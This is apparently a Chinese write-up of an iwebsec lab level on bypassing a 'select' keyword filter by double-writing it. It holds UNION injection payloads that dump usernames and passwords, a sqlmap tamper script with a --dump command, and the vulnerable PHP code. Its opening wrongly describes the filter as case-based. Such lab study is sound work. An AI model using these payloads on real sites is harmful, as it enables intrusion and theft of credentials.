iwebsec-sql注入 09 双写关键字绕过

发布时间 2023-08-18 19:31:00作者: 别打扰我摸鱼

01、题目分析

大小写过滤顾名思义,会对正常小写的sql语句进行过滤,这个时候只需要大写sql注入语句即可

02、手工注入

关键词绕过顾名思义,就是将一些sql注入中会用到的一些关键词进行过滤,本关是将select过滤了,那就双写写成seselectlect

?id=1 order by 3
-- id=-1就是不显示内容
?id=-1 union seselectlect 1,2,3
?id=-1 union seselectlect 1,2,database()
?id=-1 union seselectlect 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'
?id=-1 union seselectlect 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli'
?id=-1 union seselectlect 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli

02、工具注入

因为sqlmap中并没有双写绕过的脚本,因此借用shadowwolf大神的脚本

#!/usr/bin/env python
'''
sqlmap 双写绕过
by:shadowwolf
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload= payload.replace('select' , 'selselectect')
    retVal=payload
    return retVal


把这个文件拷贝到sqlmap的tamper目录下重名名为doublewords.py

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/09.php?id=1"  --current-db --dump --batch --tamper=doublewords

image

03、代码分析

<?php
if(isset($_GET['id'])){  // 检查是否存在名为'id'的GET参数
	$id=preg_replace('/select/i','', $_GET["id"]);  // 从'id'参数中移除所有的"select"关键字,将结果存储在变量$id中
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";  // 构建SQL查询语句,根据$id查询'user'表中的数据,限制返回一条记录
	$result=mysql_query($sql);  // 执行SQL查询
}else{
	exit();  // 如果不存在'id'参数,则立即终止脚本的执行
}

if ($result) {  // 如果查询成功
	?>
	<table class='table table-striped'>  <!-- 输出一个表格元素的开始标签,使用Bootstrap的样式类 -->
	<tr><th>id</th><th>name</th><th>age</th></tr>  <!-- 表格的表头 -->
	<?php
	while ($row = mysql_fetch_assoc($result)) {  // 循环使用mysql_fetch_assoc()函数从结果集中获取一行数据,存储在关联数组$row中
		echo "<tr>";  // 输出表格行的开始标签
		echo "<td>".$row['id']."</td>";  // 输出id列的数据
		echo "<td>".$row['username']."</td>";  // 输出username列的数据
		echo "<td>".$row['password']."</td>";  // 输出password列的数据
		echo "</tr>";  // 输出表格行的结束标签
	}	
	echo "</table>";  // 输出表格元素的结束标签
}
else {
//  echo '<font color= "#FFFFFF">';  // 输出一个带有颜色的字体标签,颜色为白色
	print_r(mysql_error());  // 输出MySQL数据库的错误信息
//  echo "</font>";  // 输出字体标签的结束标签
}

require_once '../footer.php';  // 引入'footer.php'文件
?>